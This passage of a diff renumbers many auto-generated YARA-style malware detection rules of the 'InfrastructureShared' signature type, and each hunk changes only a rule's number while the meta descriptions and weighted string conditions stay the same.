@@ -10068,7 +10132,7 @@ rule _InfrastructureShared_923{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_924{ +rule _InfrastructureShared_928{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10078,7 +10142,7 @@ rule _InfrastructureShared_924{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_925{ +rule _InfrastructureShared_929{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10088,7 +10152,7 @@ rule _InfrastructureShared_925{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_926{ +rule _InfrastructureShared_930{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10098,7 +10162,7 @@ rule _InfrastructureShared_926{ ((#a_66_0 & 1)*20259) >=1 } -rule _InfrastructureShared_927{ +rule _InfrastructureShared_931{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10108,7 +10172,7 @@ rule _InfrastructureShared_927{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_928{ +rule _InfrastructureShared_932{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10118,7 +10182,7 @@ rule _InfrastructureShared_928{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_929{ +rule _InfrastructureShared_933{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10128,7 +10192,7 @@ rule _InfrastructureShared_929{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_930{ +rule _InfrastructureShared_934{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -10139,7 +10203,7 @@ rule _InfrastructureShared_930{ ((#a_5f_0 & 1)*25635+(#a_00_1 & 1)*100) >=2 } -rule _InfrastructureShared_931{ +rule _InfrastructureShared_935{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10149,7 +10213,7 @@ rule _InfrastructureShared_931{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_932{ +rule _InfrastructureShared_936{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10159,7 +10223,7 @@ rule _InfrastructureShared_932{ ((#a_5f_0 & 1)*16931) >=1 } -rule _InfrastructureShared_933{ +rule _InfrastructureShared_937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10169,7 +10233,7 @@ rule _InfrastructureShared_933{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_934{ +rule _InfrastructureShared_938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10179,7 +10243,7 @@ rule _InfrastructureShared_934{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_935{ +rule _InfrastructureShared_939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10189,7 +10253,7 @@ rule _InfrastructureShared_935{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_936{ +rule _InfrastructureShared_940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10199,7 +10263,7 @@ rule _InfrastructureShared_936{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_937{ +rule _InfrastructureShared_941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10209,7 +10273,7 @@ rule _InfrastructureShared_937{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_938{ +rule _InfrastructureShared_942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10219,7 +10283,7 @@ rule _InfrastructureShared_938{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_939{ +rule _InfrastructureShared_943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10229,7 +10293,7 @@ rule _InfrastructureShared_939{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_940{ +rule _InfrastructureShared_944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10239,7 +10303,7 @@ rule _InfrastructureShared_940{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_941{ +rule _InfrastructureShared_945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10249,7 +10313,7 @@ rule _InfrastructureShared_941{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_942{ +rule _InfrastructureShared_946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10259,7 +10323,7 @@ rule _InfrastructureShared_942{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_943{ +rule _InfrastructureShared_947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10269,7 +10333,7 @@ rule _InfrastructureShared_943{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_944{ +rule _InfrastructureShared_948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10279,7 +10343,7 @@ rule _InfrastructureShared_944{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_945{ +rule _InfrastructureShared_949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10289,7 +10353,7 @@ rule _InfrastructureShared_945{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_946{ +rule _InfrastructureShared_950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10299,7 +10363,7 @@ rule _InfrastructureShared_946{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_947{ +rule _InfrastructureShared_951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10309,7 +10373,7 @@ rule _InfrastructureShared_947{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_948{ +rule _InfrastructureShared_952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10319,7 +10383,7 @@ rule _InfrastructureShared_948{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_949{ +rule _InfrastructureShared_953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10329,7 +10393,7 @@ rule _InfrastructureShared_949{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_950{ +rule _InfrastructureShared_954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10339,7 +10403,7 @@ rule _InfrastructureShared_950{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_951{ +rule _InfrastructureShared_955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10349,7 +10413,7 @@ rule _InfrastructureShared_951{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_952{ +rule _InfrastructureShared_956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10359,7 +10423,7 @@ rule _InfrastructureShared_952{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_953{ +rule _InfrastructureShared_957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10369,7 +10433,7 @@ rule _InfrastructureShared_953{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_954{ +rule _InfrastructureShared_958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10379,7 +10443,7 @@ rule _InfrastructureShared_954{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_955{ +rule _InfrastructureShared_959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10389,7 +10453,7 @@ rule _InfrastructureShared_955{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_956{ +rule _InfrastructureShared_960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10399,7 +10463,7 @@ rule _InfrastructureShared_956{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_957{ +rule _InfrastructureShared_961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10409,7 +10473,7 @@ rule _InfrastructureShared_957{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_958{ +rule _InfrastructureShared_962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10419,7 +10483,7 @@ rule _InfrastructureShared_958{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_959{ +rule _InfrastructureShared_963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10429,7 +10493,7 @@ rule _InfrastructureShared_959{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_960{ +rule _InfrastructureShared_964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10439,7 +10503,7 @@ rule _InfrastructureShared_960{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_961{ +rule _InfrastructureShared_965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10449,7 +10513,7 @@ rule _InfrastructureShared_961{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_962{ +rule _InfrastructureShared_966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10459,7 +10523,7 @@ rule _InfrastructureShared_962{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_963{ +rule _InfrastructureShared_967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10469,7 +10533,7 @@ rule _InfrastructureShared_963{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_964{ +rule _InfrastructureShared_968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10479,7 +10543,7 @@ rule _InfrastructureShared_964{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_965{ +rule _InfrastructureShared_969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10489,7 +10553,7 @@ rule _InfrastructureShared_965{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_966{ +rule _InfrastructureShared_970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10499,7 +10563,7 @@ rule _InfrastructureShared_966{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_967{ +rule _InfrastructureShared_971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10509,7 +10573,7 @@ rule _InfrastructureShared_967{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_968{ +rule _InfrastructureShared_972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10519,7 +10583,7 @@ rule _InfrastructureShared_968{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_969{ +rule _InfrastructureShared_973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10529,7 +10593,7 @@ rule _InfrastructureShared_969{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_970{ +rule _InfrastructureShared_974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10539,7 +10603,7 @@ rule _InfrastructureShared_970{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_971{ +rule _InfrastructureShared_975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10549,7 +10613,7 @@ rule _InfrastructureShared_971{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_972{ +rule _InfrastructureShared_976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10559,7 +10623,7 @@ rule _InfrastructureShared_972{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_973{ +rule _InfrastructureShared_977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10569,7 +10633,7 @@ rule _InfrastructureShared_973{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_974{ +rule _InfrastructureShared_978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10579,7 +10643,7 @@ rule _InfrastructureShared_974{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_975{ +rule _InfrastructureShared_979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10589,7 +10653,7 @@ rule _InfrastructureShared_975{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_976{ +rule _InfrastructureShared_980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10599,7 +10663,7 @@ rule _InfrastructureShared_976{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_977{ +rule _InfrastructureShared_981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10609,7 +10673,7 @@ rule _InfrastructureShared_977{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_978{ +rule _InfrastructureShared_982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10619,7 +10683,7 @@ rule _InfrastructureShared_978{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_979{ +rule _InfrastructureShared_983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10629,7 +10693,7 @@ rule _InfrastructureShared_979{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_980{ +rule _InfrastructureShared_984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10639,7 +10703,7 @@ rule _InfrastructureShared_980{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_981{ +rule _InfrastructureShared_985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10649,7 +10713,7 @@ rule _InfrastructureShared_981{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_982{ +rule _InfrastructureShared_986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10659,7 +10723,7 @@ rule _InfrastructureShared_982{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_983{ +rule _InfrastructureShared_987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10669,7 +10733,7 @@ rule _InfrastructureShared_983{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_984{ +rule _InfrastructureShared_988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10679,7 +10743,7 @@ rule _InfrastructureShared_984{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_985{ +rule _InfrastructureShared_989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10689,7 +10753,7 @@ rule _InfrastructureShared_985{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_986{ +rule _InfrastructureShared_990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10699,7 +10763,7 @@ rule _InfrastructureShared_986{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_987{ +rule _InfrastructureShared_991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10709,7 +10773,7 @@ rule _InfrastructureShared_987{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_988{ +rule _InfrastructureShared_992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10719,7 +10783,7 @@ rule _InfrastructureShared_988{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_989{ +rule _InfrastructureShared_993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10729,7 +10793,7 @@ rule _InfrastructureShared_989{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_990{ +rule _InfrastructureShared_994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10739,7 +10803,7 @@ rule _InfrastructureShared_990{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_991{ +rule _InfrastructureShared_995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10749,7 +10813,7 @@ rule _InfrastructureShared_991{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_992{ +rule _InfrastructureShared_996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10759,7 +10823,7 @@ rule _InfrastructureShared_992{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_993{ +rule _InfrastructureShared_997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10769,7 +10833,7 @@ rule _InfrastructureShared_993{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_994{ +rule _InfrastructureShared_998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10779,7 +10843,7 @@ rule _InfrastructureShared_994{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_995{ +rule _InfrastructureShared_999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10789,7 +10853,7 @@ rule _InfrastructureShared_995{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_996{ +rule _InfrastructureShared_1000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10799,7 +10863,7 @@ rule _InfrastructureShared_996{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_997{ +rule _InfrastructureShared_1001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10809,7 +10873,7 @@ rule _InfrastructureShared_997{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_998{ +rule _InfrastructureShared_1002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10819,7 +10883,7 @@ rule _InfrastructureShared_998{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_999{ +rule _InfrastructureShared_1003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10829,7 +10893,7 @@ rule _InfrastructureShared_999{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1000{ +rule _InfrastructureShared_1004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10839,7 +10903,7 @@ rule _InfrastructureShared_1000{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1001{ +rule _InfrastructureShared_1005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10849,7 +10913,7 @@ rule _InfrastructureShared_1001{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1002{ +rule _InfrastructureShared_1006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10859,7 +10923,7 @@ rule _InfrastructureShared_1002{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1003{ +rule _InfrastructureShared_1007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10869,7 +10933,7 @@ rule _InfrastructureShared_1003{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1004{ +rule _InfrastructureShared_1008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10879,7 +10943,7 @@ rule _InfrastructureShared_1004{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1005{ +rule _InfrastructureShared_1009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10889,7 +10953,7 @@ rule _InfrastructureShared_1005{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1006{ +rule _InfrastructureShared_1010{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10899,7 +10963,7 @@ rule _InfrastructureShared_1006{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1007{ +rule _InfrastructureShared_1011{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10909,7 +10973,7 @@ rule _InfrastructureShared_1007{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1008{ +rule _InfrastructureShared_1012{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10919,7 +10983,7 @@ rule _InfrastructureShared_1008{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1009{ +rule _InfrastructureShared_1013{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10929,7 +10993,7 @@ rule _InfrastructureShared_1009{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1010{ +rule _InfrastructureShared_1014{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10939,7 +11003,7 @@ rule _InfrastructureShared_1010{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1011{ +rule _InfrastructureShared_1015{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10949,7 +11013,7 @@ rule _InfrastructureShared_1011{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1012{ +rule _InfrastructureShared_1016{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10959,7 +11023,7 @@ rule _InfrastructureShared_1012{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1013{ +rule _InfrastructureShared_1017{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10969,7 +11033,7 @@ rule _InfrastructureShared_1013{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1014{ +rule _InfrastructureShared_1018{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10979,7 +11043,7 @@ rule _InfrastructureShared_1014{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1015{ +rule _InfrastructureShared_1019{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10989,7 +11053,7 @@ rule _InfrastructureShared_1015{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1016{ +rule _InfrastructureShared_1020{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -10999,7 +11063,7 @@ rule _InfrastructureShared_1016{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1017{ +rule _InfrastructureShared_1021{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11009,7 +11073,7 @@ rule _InfrastructureShared_1017{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1018{ +rule _InfrastructureShared_1022{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11019,7 +11083,7 @@ rule _InfrastructureShared_1018{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1019{ +rule _InfrastructureShared_1023{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11029,7 +11093,7 @@ rule _InfrastructureShared_1019{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1020{ +rule _InfrastructureShared_1024{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11039,7 +11103,7 @@ rule _InfrastructureShared_1020{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1021{ +rule _InfrastructureShared_1025{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11049,7 +11113,7 @@ rule _InfrastructureShared_1021{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1022{ +rule _InfrastructureShared_1026{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11059,7 +11123,7 @@ rule _InfrastructureShared_1022{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1023{ +rule _InfrastructureShared_1027{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11069,7 +11133,7 @@ rule _InfrastructureShared_1023{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1024{ +rule _InfrastructureShared_1028{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11079,7 +11143,7 @@ rule _InfrastructureShared_1024{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1025{ +rule _InfrastructureShared_1029{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11089,7 +11153,7 @@ rule _InfrastructureShared_1025{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1026{ +rule _InfrastructureShared_1030{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11099,7 +11163,7 @@ rule _InfrastructureShared_1026{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1027{ +rule _InfrastructureShared_1031{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -11109,7 +11173,7 @@ rule _InfrastructureShared_1027{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_1028{ +rule _InfrastructureShared_1032{ meta: description = 